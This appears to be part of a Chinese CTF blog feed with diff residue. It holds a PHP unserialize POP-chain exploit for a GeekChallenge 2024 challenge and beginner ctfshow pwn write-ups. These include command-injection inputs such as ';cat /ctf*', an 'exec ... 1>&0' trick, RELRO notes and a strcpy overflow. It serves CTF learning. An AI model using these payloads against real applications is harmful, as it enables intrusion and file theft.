           <?phpClass SYC{    public $starven;    public function __call($name, $arguments){        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){            die('no hack');        }        file_put_contents($this->starven,"<?php exit();".$this->starven);    }}Class lover{    public $J1rry;    public $meimeng;    public function __destruct(){        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){            echo "success";            $this->meimeng->source;        }    }    public function __invoke()    {        echo $this->meimeng;    }}Class Geek{    public $GSBP;    public function __get($name){        $Challenge = $this->GSBP;        return $Challenge();    }    public function __toString(){        $this->GSBP->Getflag();        return "Just do it";    }}if($_GET['data']){    if(preg_match("/meimeng/i",$_GET['data'])){        die("no hack");    }   unserialize($_GET['data']);}else{   highlight_file(__FILE__);}
          lover::__destruct() -> Geek::__get() -> lover::__invoke() -> Geek::__toString() -> SYC::__call

          Pop:

          <?phperror_reporting(0);Class SYC{    public $starven;}Class lover{    public $J1rry = "data://text/plain,Welcome GeekChallenge 2024";    public $meimeng;}Class Geek{    public $GSBP;}$a = new lover();$a->meimeng = new Geek();$a->meimeng->GSBP = new lover();$a->meimeng->GSBP->meimeng = new Geek();$a->meimeng->GSBP->meimeng->GSBP = new SYC();$a->meimeng->GSBP->meimeng->GSBP->starven = "flag.php";echo urlencode(serialize($a));
          ]]>
          + + + + + 安全相关 + + CTF + + + + + + + 极客大挑战 + + + +
          + + + 2024SJTU x ZJUCTF @@ -91,7 +118,7 @@ /2024/10/08/pwn%E5%85%A5%E9%97%A8-%E5%89%8D%E7%BD%AE%E5%9F%BA%E7%A1%80/ - 从零开始的pwn生活

          pwn0

          ssh ctfshow@pwn.challenge.ctf.show -p28184 # 123456

          ssh连接会有一段炫酷的画面

          pwn1

          IDA反编译一下附件

          nc直接给flag

          pwn2

          太友好了 直接给了shell

          pwn3

          直接选6拿flag

          pwn4

          输入CTFshowPWN getshell

          前置基础

          pwn5

          运行此文件,将得到的字符串以ctfshow{xxxxx}提交。

          汇编代码

          section .data    msg db "Welcome_to_CTFshow_PWN", 0section .text    global _start_start:; 立即寻址方式    mov eax, 11         ; 将11赋值给eax    add eax, 114504     ; eax加上114504    sub eax, 1          ; eax减去1; 寄存器寻址方式    mov ebx, 0x36d      ; 将0x36d赋值给ebx    mov edx, ebx        ; 将ebx的值赋值给edx; 直接寻址方式    mov ecx, msg      ; 将msg的地址赋值给ecx; 寄存器间接寻址方式    mov esi, msg        ; 将msg的地址赋值给esi    mov eax, [esi]      ; 将esi所指向的地址的值赋值给eax; 寄存器相对寻址方式    mov ecx, msg        ; 将msg的地址赋值给ecx    add ecx, 4          ; 将ecx加上4    mov eax, [ecx]      ; 将ecx所指向的地址的值赋值给eax; 基址变址寻址方式    mov ecx, msg        ; 将msg的地址赋值给ecx    mov edx, 2          ; 将2赋值给edx    mov eax, [ecx + edx*2]  ; 将ecx+edx*2所指向的地址的值赋值给eax; 相对基址变址寻址方式    mov ecx, msg        ; 将msg的地址赋值给ecx    mov edx, 1          ; 将1赋值给edx    add ecx, 8          ; 将ecx加上8    mov eax, [ecx + edx*2 - 6]  ; 将ecx+edx*2-6所指向的地址的值赋值给eax; 输出字符串    mov eax, 4          ; 系统调用号4代表输出字符串    mov ebx, 1          ; 文件描述符1代表标准输出    mov ecx, msg        ; 要输出的字符串的地址    mov edx, 22         ; 要输出的字符串的长度    int 0x80            ; 调用系统调用; 退出程序    mov eax, 1          ; 系统调用号1代表退出程序    xor ebx, ebx        ; 返回值为0s    int 0x80            ; 调用系统调用

          使用NASM汇编器和ld链接器编译成可执行文件。

          使用以下命令将其编译为对象文件

          nasm -f elf pwn5_1.asm

          这将生成一个名为pwn5_1.o 的对象文件。接下来,使用以下命令将对象文件链接成可执行文件:

          ld -m elf_i386 -s -o pwn5_1 pwn5_1.o

          ld 是 Linux 下的链接器,用于将一个或多个对象文件(.o 文件)和库文件链接成可执行文件或库文件。在你提供的命令中:

          • ld:链接器程序本身。
          • -m elf_i386:指定生成的目标文件格式为 elf_i386,这是为 32 位 Intel 架构计算机生成的 ELF(Executable and Linkable Format)格式。
          • -s:这个选项告诉链接器在生成的可执行文件中剥离所有符号信息。这通常用于减少可执行文件的大小,并且可能用于安全目的,以防止某些类型的逆向工程。
          • -o pwn5_1:指定输出文件的名称为 pwn5_1
          • pwn5_1.o:这是要链接的对象文件。

          这将生成一个名为 pwn5_1 的可执行文件 (事实上题目附件第二个就是)

          运行pwn5_1或者pwn5_2即可

          pwn6(立即寻址)

          立即寻址方式结束后eax寄存器的值为?

          立即寻址方式    mov eax, 11         ; 将11赋值给eax    add eax, 114504     ; eax加上114504    sub eax, 1          ; eax减去1

          11+114504-1=114514

          pwn7(寄存器寻址)

          寄存器寻址方式结束后edx寄存器的值为?

          寄存器寻址方式    mov ebx, 0x36d      ; 将0x36d赋值给ebx    mov edx, ebx        ; 将ebx的值赋值给edx

          0x36D

          pwn8(直接寻址)

          直接寻址方式结束后ecx寄存器的值为?

          section .data    msg db "Welcome_to_CTFshow_PWN", 0直接寻址方式    mov ecx, [msg]      ; 将msg的地址赋值给ecx

          0x80490E8

          pwn9(寄存器间接寻址)

          寄存器间接寻址方式结束后eax寄存器的值为?

          寄存器间接寻址方式    mov esi, msg        ; 将msg的地址赋值给esi    mov eax, [esi]      ; 将esi所指向的地址的值赋值给eax

          0x636C6557

          pwn10(寄存器相对寻址)

          寄存器相对寻址方式结束后eax寄存器的值为?

          寄存器相对寻址方式    mov ecx, msg        ; 将msg的地址赋值给ecx    add ecx, 4          ; 将ecx加上4    mov eax, [ecx]      ; 将ecx所指向的地址的值赋值给eax

          080490E8+4=080490EC “ome_to_CTFshow_PWN”

          pwn11(基址变址寻址)

          基址变址寻址方式结束后的eax寄存器的值为?

          基址变址寻址方式    mov ecx, msg        ; 将msg的地址赋值给ecx    mov edx, 2          ; 将2赋值给edx    mov eax, [ecx + edx*2]  ; 将ecx+edx*2所指向的地址的值赋值给eax

          080490E8+2*2=080490EC “ome_to_CTFshow_PWN”

          pwn12(相对基址变址寻址)

          相对基址变址寻址方式结束后eax寄存器的值为?

          相对基址变址寻址方式    mov ecx, msg        ; 将msg的地址赋值给ecx    mov edx, 1          ; 将1赋值给edx    add ecx, 8          ; 将ecx加上8    mov eax, [ecx + edx*2 - 6]  ; 将ecx+edx*2-6所指向的地址的值赋值给eax

          080490E8+8+1*2-6=080490EC “ome_to_CTFshow_PWN”

          pwn13(gcc)

          如何使用GCC?编译运行后即可获得flag

          gcc flag.c -o flag./flagctfshow{hOw_t0_us3_GCC?}

          pwn14

          请你阅读以下源码,给定key为”CTFshow”,编译运行即可获得flag

          #include <stdio.h>#include <stdlib.h>#define BUFFER_SIZE 1024int main() {    FILE *fp;    unsigned char buffer[BUFFER_SIZE];    size_t n;    fp = fopen("pwn14_key", "rb");    if (fp == NULL) {        perror("Nothing here!");        return -1;    }    char output[BUFFER_SIZE * 9 + 12];     int offset = 0;    offset += sprintf(output + offset, "ctfshow{");    while ((n = fread(buffer, sizeof(unsigned char), BUFFER_SIZE, fp)) > 0) {        for (size_t i = 0; i < n; i++) {            for (int j = 7; j >= 0; j--) {                offset += sprintf(output + offset, "%d", (buffer[i] >> j) & 1);            }            if (i != n - 1) {                offset += sprintf(output + offset, "_");            }        }        if (!feof(fp)) {            offset += sprintf(output + offset, " ");        }    }    offset += sprintf(output + offset, "}");    printf("%s\n", output);    fclose(fp);    return 0;}

          程序打开名为 “pwn14_key” 的文件,以二进制(”rb”)模式进行读取。如果文件打开失败,将输出错误消息 “Nothing here!” 并返回 -1。

          接下去就是通过循环将fp的值(也就是key的内容)逐个转为8位二进制数,通过”_”连接,用ctfshow{}包裹后存入output中

          echo "CTFshow" > pwn14_keygcc pwn14_flag.c -o pwn14./pwn14ctfshow{01000011_01010100_01000110_01110011_01101000_01101111_01110111_00001010}

          pwn15(nasm)

          编译汇编代码到可执行文件,即可拿到flag

          这段代码是一个使用 x86 汇编语言编写的程序,用于在标准输出上打印一串特定格式的字符串。要将这段代码编译为可执行文件,使用汇编器和链接器进行以下步骤:

          section .data    str1 db "CTFshow",0    str2 db "_3@sy",0    str3 db "@ss3mb1y",0    str4 db "_1s",0    str5 db "ctfshow{"    str6 db "}"section .text    global _start_start:    mov eax, 4     mov ebx, 1     mov ecx, str5     mov edx, 8    int 0x80     mov eax, 4    mov ebx, 1    mov ecx, str3    mov edx, 8    int 0x80    mov eax, 4    mov ebx, 1    mov ecx, str4    mov edx, 3    int 0x80    mov eax, 4    mov ebx, 1    mov ecx, str2    mov edx, 5    int 0x80    mov eax, 4    mov ebx, 1    mov ecx, str6    mov edx, 1    int 0x80    mov eax, 1     xor ebx, ebx     int 0x80 
          nasm -f elf pwn15_flag.asm -o pwn15.old -m elf_i386 -o pwn15 pwn15.o./pwn15ctfshow{@ss3mb1y_1s_3@sy}

          pwn16(gcc .s)

          使用gcc将其编译为可执行文件

          .s 文件是汇编语言源文件的一种常见扩展名。它包含了使用汇编语言编写的程序代码。汇编语言是一种低级编程语言,用于直接操作计算机的指令集架构。 .s 文件通常由汇编器(Assembler)处理,将其转换为可执行文件或目标文件。可以使用 gcc 命令直接编译汇编语言源文件( .s 文件)并将其链接为可执行文件。 gcc 命令具有适用于多种语言的编译器驱动程序功能,它可以根据输入文件的扩展名自动选择适当的编译器和链接器

          gcc pwn16_flag.s -o pwn16./pwn16ctfshow{daniuniuda}

          pwn17

          IDA 关键源码

          while ( 1 )  {    menu(v4, v3);    v5 = 0;    puts("\nEnter the command you want choose:(1.2.3.4 or 5)\n");    v3 = &v5;    __isoc99_scanf("%d", &v5);    switch ( (unsigned int)off_140C )    {      case 1u:        v4 = "id";        system("id");        break;      case 2u:        puts("Which directory?('/','./' or the directiry you want?)");        read(0, &buf, 0xAuLL);        v3 = (int *)&buf;        strcat(dest, &buf);        system(dest);        v4 = "Execution succeeded!";        puts("Execution succeeded!");        break;      case 3u:        sleep(1u);        puts("$cat /ctfshow_flag");        sleep(1u);        puts("ctfshow{");        sleep(2u);        puts("... ...");        sleep(3u);        puts("Your flag is ...");        sleep(5u);        puts("ctfshow{flag is not here!}");        sleep(0x14u);        puts("wtf?You haven't left yet?\nOk~ give you flag:\nflag is loading......");        sleep(0x1BF52u);        v4 = "cat /ctfshow_flag";        system("cat /ctfshow_flag");        break;      case 4u:        sleep(2u);        v4 = "su: Authentication failure";        puts("su: Authentication failure");        break;      case 5u:        puts("See you!");        exit(-1);        return;      default:        v4 = "command not found!";        puts("command not found!");        break;    }  }

          选项2 命令拼接 ;cat /ctf*

          pwn18(>>追加)

          IDA反编译

          int __cdecl main(int argc, const char **argv, const char **envp){  int v4; // [rsp+4h] [rbp-Ch]  unsigned __int64 v5; // [rsp+8h] [rbp-8h]  v5 = __readfsqword(0x28u);  setvbuf(_bss_start, 0LL, 2, 0LL);  setvbuf(stdin, 0LL, 1, 0LL);  puts(s);  puts(asc_B10);  puts(asc_B90);  puts(asc_C20);  puts(asc_CB0);  puts(asc_D38);  puts(asc_DD0);  puts("    * *************************************                           ");  puts(aClassifyCtfsho);  puts("    * Type  : Linux_Security_Mechanisms                               ");  puts("    * Site  : https://ctf.show/                                       ");  puts("    * Hint  : Do you know redirect output ?                           ");  puts("    * *************************************                           ");  puts("Which is the real flag?");  __isoc99_scanf("%d", &v4);  if ( v4 == 9 )    fake();  else    real();  system("cat /ctfshow_flag");  return 0;}

          分别跟进fake()real()

          #fake()int fake(){  return system("echo 'flag is here'>>/ctfshow_flag");}#real()int real(){  return system("echo 'flag is here'>/ctfshow_flag");}

          可以看到fake是>>追加 real是>覆盖写入

          于是填9进入fake即可

          pwn19(1>&0)

          Hint: 关闭了输出流,一定是最安全的吗?

          int __cdecl main(int argc, const char **argv, const char **envp){  char buf; // [rsp+10h] [rbp-30h]  unsigned __int64 v5; // [rsp+38h] [rbp-8h]  v5 = __readfsqword(0x28u);  setvbuf(_bss_start, 0LL, 2, 0LL);  setvbuf(stdin, 0LL, 1, 0LL);  puts(s);  puts(asc_BF0);  puts(asc_C70);  puts(asc_D00);  puts(asc_D90);  puts(asc_E18);  puts(asc_EB0);  puts("    * *************************************                           ");  puts(aClassifyCtfsho);  puts("    * Type  : Linux_Security_Mechanisms                               ");  puts("    * Site  : https://ctf.show/                                       ");  puts("    * Hint  : Turn off output, how to get flag? ");  puts("    * *************************************                           ");  if ( fork() )  {    wait(0LL);    sleep(3u);    printf("flag is not here!", 0LL);  }  else  {    puts("give you a shell! now you need to get flag!");    fclose(_bss_start);    read(0, &buf, 0x20uLL);    system(&buf);  }  return 0;}

          if (fork()) : 这里使用 fork() 函数创建一个子进程。父进程中, fork() 返回子进程的进程ID,所以进入if 语句块;子进程中, fork() 返回0,所以进入 else 语句块。

          在父进程中:

          • wait(0LL) : 父进程通过 wait() 函数等待子进程的结束,以确保子进程执行完毕。

          • sleep(3u) : 父进程睡眠3秒钟。

          • printf(“flag is not here!”) : 输出提示信息,表明flag不在此处。

          在子进程中:

          • puts(“give you a shell! now you need to get flag!”) : 输出提示信息,表示给予用户一个shell,让其获取flag。

          • fclose() : 关闭文件输出流。

          • read(0, &buf, 0x20uLL) : 从标准输入中读取用户输入的命令,并存储在 buf 中。

          • system(&buf) : 执行用户输入的命令。

          我们可以使用了 exec 函数来执行 sh 命令,并使用 1>&0 来进行输出重定向。这个命令将标准输出重定向到标准输入,实际上就是将命令的输出发送到后续命令的输入。

          具体来说, 1>&0 中的 1 表示标准输出, 0 表示标准输入。通过将标准输出重定向到标准输入,可以实现将命令的输出作为后续命令的输入。这样可以在执行 sh 命令后,进入一个交互式的Shell环境,可以在该环境中执行命令并与用户进行交互。

          也可以直接exec cat /ctf* 1>&0cat /ctf* 命令的输出发送到标准输入,实际上就是将命令的输出再次输出到屏幕上

          pwn20(RELRO)

          聊聊Linux动态链接中的PLT和GOT(1)——何谓PLT与GOT
          聊聊Linux动态链接中的PLT和GOT(2)——延迟重定位
          聊聊Linux动态链接中的PLT和GOT(3)——公共GOT表项

          PWN20-22

          可以看到仅开启了NX保护,RELRO保护是完全关闭状态

          这里先将一下RELRO保护:RELRO(RELocation Read-Only)是一种可选的二进制保护机制,用于增加程序的安全性。它主要通过限制和保护全局偏移表(Global Offset Table,简称 GOT)和过程链接表(Procedure Linkage Table,简称 PLT)的可写性来防止针对这些结构的攻击。

          RELRO保护有三种状态:

          1. No RELRO:在这种状态下,GOT和PLT都是可写的,意味着攻击者可以修改这些表中的指
            针,从而进行攻击。这是最弱的保护状态。
          2. Partial RELRO:在这种状态下,GOT的开头部分被设置为只读(RO),而剩余部分仍然可
            写。这样可以防止一些简单的攻击,但仍存在一些漏洞。
          3. Full RELRO:在这种状态下,GOT和PLT都被设置为只读(RO)。这样做可以防止对这些结构
            的修改,提供更强的保护。任何对这些表的修改都会导致程序异常终止。

          objdump命令是Linux下的反汇编目标文件或者可执行文件的命令,它以一种可阅读的格式让你更多地了解二进制文件可能带有的附加信息。

          • Linux下反汇编目标文件或者可执行文件。
          • 查看静态库和动态库有哪些函数

          查看一下表项地址

          ❯ readelf -S pwn20There are 29 section headers, starting at offset 0x1878:Section Headers:  [Nr] Name              Type             Address           Offset       Size              EntSize          Flags  Link  Info  Align  [ 0]                   NULL             0000000000000000  00000000       0000000000000000  0000000000000000           0     0     0  [ 1] .interp           PROGBITS         0000000000400200  00000200       000000000000001c  0000000000000000   A       0     0     1  [ 2] .note.ABI-tag     NOTE             000000000040021c  0000021c       0000000000000020  0000000000000000   A       0     0     4  [ 3] .note.gnu.bu[...] NOTE             000000000040023c  0000023c       0000000000000024  0000000000000000   A       0     0     4  [ 4] .gnu.hash         GNU_HASH         0000000000400260  00000260       000000000000001c  0000000000000000   A       5     0     8  [ 5] .dynsym           DYNSYM           0000000000400280  00000280       0000000000000090  0000000000000018   A       6     1     8  [ 6] .dynstr           STRTAB           0000000000400310  00000310       000000000000004b  0000000000000000   A       0     0     1  [ 7] .gnu.version      VERSYM           000000000040035c  0000035c       000000000000000c  0000000000000002   A       5     0     2  [ 8] .gnu.version_r    VERNEED          0000000000400368  00000368       0000000000000020  0000000000000000   A       6     1     8  [ 9] .rela.dyn         RELA             0000000000400388  00000388       0000000000000030  0000000000000018   A       5     0     8  [10] .rela.plt         RELA             00000000004003b8  000003b8       0000000000000048  0000000000000018  AI       5    22     8  [11] .init             PROGBITS         0000000000400400  00000400       0000000000000017  0000000000000000  AX       0     0     4  [12] .plt              PROGBITS         0000000000400420  00000420       0000000000000040  0000000000000010  AX       0     0     16  [13] .text             PROGBITS         0000000000400460  00000460       0000000000000252  0000000000000000  AX       0     0     16  [14] .fini             PROGBITS         00000000004006b4  000006b4       0000000000000009  0000000000000000  AX       0     0     4  [15] .rodata           PROGBITS         00000000004006c0  000006c0       000000000000053a  0000000000000000   A       0     0     8  [16] .eh_frame_hdr     PROGBITS         0000000000400bfc  00000bfc       000000000000003c  0000000000000000   A       0     0     4  [17] .eh_frame         PROGBITS         0000000000400c38  00000c38       0000000000000100  0000000000000000   A       0     0     8  [18] .init_array       INIT_ARRAY       0000000000600d38  00000d38       0000000000000008  0000000000000008  WA       0     0     8  [19] .fini_array       FINI_ARRAY       0000000000600d40  00000d40       0000000000000008  0000000000000008  WA       0     0     8  [20] .dynamic          DYNAMIC          0000000000600d48  00000d48       00000000000001d0  0000000000000010  WA       6     0     8  [21] .got              PROGBITS         0000000000600f18  00000f18       0000000000000010  0000000000000008  WA       0     0     8  [22] .got.plt          PROGBITS         0000000000600f28  00000f28       0000000000000030  0000000000000008  WA       0     0     8  [23] .data             PROGBITS         0000000000600f58  00000f58       0000000000000010  0000000000000000  WA       0     0     8  [24] .bss              NOBITS           0000000000600f68  00000f68       0000000000000008  0000000000000000  WA       0     0     1  [25] .comment          PROGBITS         0000000000000000  00000f68       0000000000000029  0000000000000001  MS       0     0     1  [26] .symtab           SYMTAB           0000000000000000  00000f98       00000000000005e8  0000000000000018          27    43     8  [27] .strtab           STRTAB           0000000000000000  00001580       00000000000001f1  0000000000000000           0     0     1  [28] .shstrtab         STRTAB           0000000000000000  00001771       0000000000000103  0000000000000000           0     0     1Key to Flags:  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),  L (link order), O (extra OS processing required), G (group), T (TLS),  C (compressed), x (unknown), o (OS specific), E (exclude),  D (mbind), l (large), p (processor specific)

          readelf一般用于查看ELF格式的文件信息,常见的文件如在Linux上的可执行文件,动态库(.so)或者静态库(.a) 等包含ELF格式的文件

          Ask:

          提交ctfshow{【.got表与.got.plt是否可写(可写为1,不可写为0)】,【.got的地址】,【.got.plt的地址】}

          例如 .got可写.got.plt表可写其地址为0x400820 0x8208820

          最终flag为ctfshow{1_1_0x400820_0x8208820}

          若某个表不存在,则无需写其对应地址

          如不存在.got.plt表,则最终flag值为ctfshow{1_0_0x400820}

          [21] .got              PROGBITS         0000000000600f18  00000f18     0000000000000010  0000000000000008  WA       0     0     8[22] .got.plt          PROGBITS         0000000000600f28  00000f28     0000000000000030  0000000000000008  WA       0     0     8

          根据反编译后的代码进行测试

          int __cdecl main(int argc, const char **argv, const char **envp){  _QWORD *v3; // rax  puts(s);  puts(asc_400740);  puts(asc_4007C0);  puts(asc_400850);  puts(asc_4008E0);  puts(asc_400968);  puts(asc_400A00);  puts("    * *************************************                           ");  puts(aClassifyCtfsho);  puts("    * Type  : Linux_Security_Mechanisms                               ");  puts("    * Site  : https://ctf.show/                                       ");  puts("    * Hint  : What is RELRO protection ?                              ");  puts("    * *************************************                           ");  v3 = (_QWORD *)strtol(argv[1], 0LL, 16);  *v3 = 1380273234LL;  printf("RELRO: %x\n", (unsigned int)*v3, argv);  return 0;}

          ctfshow{1_1_0x600f18_0x600f28}

          pwn21(Partial RELRO)

          这次变成 Partial RELRO

          Partial RELRO:一些段(包括.dynamic、.got等)在初始化后将会被标记为只读。在Ubuntu16.04(GCC-5.4.0)上默认开启Partial RELRO。

          Full RELRO:除了Partial RELRO,延迟绑定将被禁止,所有的导入符号将在开始时被解析,.gotPlt段会被完全初始化为目标函数的最终地址,并被mprotect标记为只读但其实.got.plt会直接被合并到.got,也就看不到这段了。另外link_map和_dl_runtime_resolve的地址也不会被装入。开启Full RELRO会对程序启动时的性能造成一定的影响,但也只有这样才能防止攻击者篡改GOT。

          当RELRO为Partial RELRO时,表示.got不可写而.got.plt可写。
          当RELRO为FullRELRO时,表示.got不可写.got.plt也不可写。
          当RELRO为No RELRO时,表示.got与.got.plt都可写。

          ❯ readelf -S pwn21There are 29 section headers, starting at offset 0x1950:Section Headers:  [Nr] Name              Type             Address           Offset       Size              EntSize          Flags  Link  Info  Align  [ 0]                   NULL             0000000000000000  00000000       0000000000000000  0000000000000000           0     0     0  [ 1] .interp           PROGBITS         0000000000400238  00000238       000000000000001c  0000000000000000   A       0     0     1  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254       0000000000000020  0000000000000000   A       0     0     4  [ 3] .note.gnu.bu[...] NOTE             0000000000400274  00000274       0000000000000024  0000000000000000   A       0     0     4  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298       000000000000001c  0000000000000000   A       5     0     8  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8       0000000000000090  0000000000000018   A       6     1     8  [ 6] .dynstr           STRTAB           0000000000400348  00000348       000000000000004b  0000000000000000   A       0     0     1  [ 7] .gnu.version      VERSYM           0000000000400394  00000394       000000000000000c  0000000000000002   A       5     0     2  [ 8] .gnu.version_r    VERNEED          00000000004003a0  000003a0       0000000000000020  0000000000000000   A       6     1     8  [ 9] .rela.dyn         RELA             00000000004003c0  000003c0       0000000000000030  0000000000000018   A       5     0     8  [10] .rela.plt         RELA             00000000004003f0  000003f0       0000000000000048  0000000000000018  AI       5    22     8  [11] .init             PROGBITS         0000000000400438  00000438       0000000000000017  0000000000000000  AX       0     0     4  [12] .plt              PROGBITS         0000000000400450  00000450       0000000000000040  0000000000000010  AX       0     0     16  [13] .text             PROGBITS         0000000000400490  00000490       0000000000000252  0000000000000000  AX       0     0     16  [14] .fini             PROGBITS         00000000004006e4  000006e4       0000000000000009  0000000000000000  AX       0     0     4  [15] .rodata           PROGBITS         00000000004006f0  000006f0       000000000000053a  0000000000000000   A       0     0     8  [16] .eh_frame_hdr     PROGBITS         0000000000400c2c  00000c2c       000000000000003c  0000000000000000   A       0     0     4  [17] .eh_frame         PROGBITS         0000000000400c68  00000c68       0000000000000100  0000000000000000   A       0     0     8  [18] .init_array       INIT_ARRAY       0000000000600e10  00000e10       0000000000000008  0000000000000008  WA       0     0     8  [19] .fini_array       FINI_ARRAY       0000000000600e18  00000e18       0000000000000008  0000000000000008  WA       0     0     8  [20] .dynamic          DYNAMIC          0000000000600e20  00000e20       00000000000001d0  0000000000000010  WA       6     0     8  [21] .got              PROGBITS         0000000000600ff0  00000ff0       0000000000000010  0000000000000008  WA       0     0     8  [22] .got.plt          PROGBITS         0000000000601000  00001000       0000000000000030  0000000000000008  WA       0     0     8  [23] .data             PROGBITS         0000000000601030  00001030       0000000000000010  0000000000000000  WA       0     0     8  [24] .bss              NOBITS           0000000000601040  00001040       0000000000000008  0000000000000000  WA       0     0     1  [25] .comment          PROGBITS         0000000000000000  00001040       0000000000000029  0000000000000001  MS       0     0     1  [26] .symtab           SYMTAB           0000000000000000  00001070       00000000000005e8  0000000000000018          27    43     8  [27] .strtab           STRTAB           0000000000000000  00001658       00000000000001f1  0000000000000000           0     0     1  [28] .shstrtab         STRTAB           0000000000000000  00001849       0000000000000103  0000000000000000           0     0     1Key to Flags:  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),  L (link order), O (extra OS processing required), G (group), T (TLS),  C (compressed), x (unknown), o (OS specific), E (exclude),  D (mbind), l (large), p (processor specific)

          ctfshow{0_1_0x600ff0_0x601000}

          pwn22(Full RELRO)

          .got.got.plt都不可写

           readelf -S pwn22There are 28 section headers, starting at offset 0x1900:Section Headers:  [Nr] Name              Type             Address           Offset       Size              EntSize          Flags  Link  Info  Align  [ 0]                   NULL             0000000000000000  00000000       0000000000000000  0000000000000000           0     0     0  [ 1] .interp           PROGBITS         0000000000400238  00000238       000000000000001c  0000000000000000   A       0     0     1  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254       0000000000000020  0000000000000000   A       0     0     4  [ 3] .note.gnu.bu[...] NOTE             0000000000400274  00000274       0000000000000024  0000000000000000   A       0     0     4  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298       000000000000001c  0000000000000000   A       5     0     8  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8       0000000000000090  0000000000000018   A       6     1     8  [ 6] .dynstr           STRTAB           0000000000400348  00000348       000000000000004b  0000000000000000   A       0     0     1  [ 7] .gnu.version      VERSYM           0000000000400394  00000394       000000000000000c  0000000000000002   A       5     0     2  [ 8] .gnu.version_r    VERNEED          00000000004003a0  000003a0       0000000000000020  0000000000000000   A       6     1     8  [ 9] .rela.dyn         RELA             00000000004003c0  000003c0       0000000000000030  0000000000000018   A       5     0     8  [10] .rela.plt         RELA             00000000004003f0  000003f0       0000000000000048  0000000000000018  AI       5    21     8  [11] .init             PROGBITS         0000000000400438  00000438       0000000000000017  0000000000000000  AX       0     0     4  [12] .plt              PROGBITS         0000000000400450  00000450       0000000000000040  0000000000000010  AX       0     0     16  [13] .text             PROGBITS         0000000000400490  00000490       0000000000000252  0000000000000000  AX       0     0     16  [14] .fini             PROGBITS         00000000004006e4  000006e4       0000000000000009  0000000000000000  AX       0     0     4  [15] .rodata           PROGBITS         00000000004006f0  000006f0       000000000000053a  0000000000000000   A       0     0     8  [16] .eh_frame_hdr     PROGBITS         0000000000400c2c  00000c2c       000000000000003c  0000000000000000   A       0     0     4  [17] .eh_frame         PROGBITS         0000000000400c68  00000c68       0000000000000100  0000000000000000   A       0     0     8  [18] .init_array       INIT_ARRAY       0000000000600dc0  00000dc0       0000000000000008  0000000000000008  WA       0     0     8  [19] .fini_array       FINI_ARRAY       0000000000600dc8  00000dc8       0000000000000008  0000000000000008  WA       0     0     8  [20] .dynamic          DYNAMIC          0000000000600dd0  00000dd0       00000000000001f0  0000000000000010  WA       6     0     8  [21] .got              PROGBITS         0000000000600fc0  00000fc0       0000000000000040  0000000000000008  WA       0     0     8  [22] .data             PROGBITS         0000000000601000  00001000       0000000000000010  0000000000000000  WA       0     0     8  [23] .bss              NOBITS           0000000000601010  00001010       0000000000000008  0000000000000000  WA       0     0     1  [24] .comment          PROGBITS         0000000000000000  00001010       0000000000000029  0000000000000001  MS       0     0     1  [25] .symtab           SYMTAB           0000000000000000  00001040       00000000000005d0  0000000000000018          26    42     8  [26] .strtab           STRTAB           0000000000000000  00001610       00000000000001f1  0000000000000000           0     0     1  [27] .shstrtab         STRTAB           0000000000000000  00001801       00000000000000fa  0000000000000000           0     0     1Key to Flags:  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),  L (link order), O (extra OS processing required), G (group), T (TLS),  C (compressed), x (unknown), o (OS specific), E (exclude),  D (mbind), l (large), p (processor specific)

          ctfshow{0_0_0x600fc0}

          pwn23(dest)

          IDA 32位

          int __cdecl main(int argc, const char **argv, const char **envp){  __gid_t v3; // eax  int v5; // [esp-Ch] [ebp-2Ch]  int v6; // [esp-8h] [ebp-28h]  int v7; // [esp-4h] [ebp-24h]  FILE *stream; // [esp+4h] [ebp-1Ch]  stream = fopen("/ctfshow_flag", (const char *)&unk_8048904);  if ( !stream )  {    puts("/ctfshow_flag: No such file or directory.");    exit(0);  }  fgets(flag, 64, stream);  signal(11, (__sighandler_t)sigsegv_handler);  v3 = getegid();  setresgid(v3, v3, v3, v5, v6, v7, v3);  puts((const char *)&unk_8048940);  puts((const char *)&unk_80489B4);  puts((const char *)&unk_8048A30);  puts((const char *)&unk_8048ABC);  puts((const char *)&unk_8048B4C);  puts((const char *)&unk_8048BD0);  puts((const char *)&unk_8048C64);  puts("    * *************************************                           ");  puts((const char *)&unk_8048D28);  puts("    * Type  : Linux_Security_Mechanisms                               ");  puts("    * Site  : https://ctf.show/                                       ");  puts("    * Hint  : No canary found                                         ");  puts("    * *************************************                           ");  puts("How to input ?");  if ( argc > 1 )    ctfshow((char *)argv[1]);  return 0;}

          1.首先,程序尝试打开名为”/ctfshow_flag”的文件,并将文件指针赋值给 stream 变量。如果打开文件失败(文件不存在或无法访问),程序输出错误消息并终止。

          2.如果成功打开文件,程序使用 fgets 函数从文件中读取最多64个字符到名为 flag 的缓冲区。

          3.程序输出提示消息:”How to input ?”

          4.如果程序运行时传入了命令行参数( argc 大于1),则调用 ctfshow 函数,并将第一个命令行参数作为参数传递给该函数。

          跟进ctfshow函数

          char *__cdecl ctfshow(char *src){  char dest; // [esp+Ah] [ebp-3Eh]  return strcpy(&dest, src);}

          5.ctfshow 函数很简单,它接受一个字符串参数 src ,并使用 strcpy 函数将该字符串复制到名为 dest 的缓冲区中。然后,它返回指向 dest 缓冲区的指针。

          ctfshow函数用到了strcpy()函数,而这个函数是可以发生溢出的!并且src就是我们输入的参数,使我们可控的,并且他没有被限制长度,代表我们可以利用溢出漏洞!

          参数足够长溢出之后即可getFlag

          pwn24(ret2shellcode)

          你可以使用pwntools的shellcraft模块来进行攻击

          IDA 32位 仅部分开启RELRO保护 存在一个RWX权限的段,即可读可写可执行的段

